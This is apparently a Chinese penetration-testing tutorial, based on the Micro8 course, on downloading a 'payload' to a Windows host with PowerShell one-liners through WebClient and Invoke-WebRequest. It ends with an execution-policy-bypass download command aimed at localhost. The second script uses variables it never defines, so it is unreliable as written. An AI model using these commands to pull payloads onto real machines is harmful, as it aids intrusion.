0x00 前言

参考Micro8系列第四十六课:https://micro8.gitbook.io/micro8/contents-1/41-50/46powershell-yi-ju-hua-xia-zai-payload

0x01 PowerShell一句话下载payload

自Windows 7开始,Windows系统均内置了PowerShell。

基于System.Net.WebClient

down.ps1:

1
2
3
4
5
6
7
$Urls = @()
$Urls += "http://127.0.0.1/test.txt"
$OutPath = "D:\tmp\"
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file)
}

执行:

1
powershell -File down.ps1

基于Invoke-WebRequest

在PowerShell 3.0以后,提供wget功能,即Invoke-WebRequest。

down.ps1:

1
2
3
4
5
$Urls += "http://127.0.0.1/test.txt"
$OutPath = "D:\tmp\"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"

执行,需要绝对路径:

1
powershell D:\tmp\down.ps1

当然也可以一句话下载:

1
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/test.txt','D:\tmp\test.txt')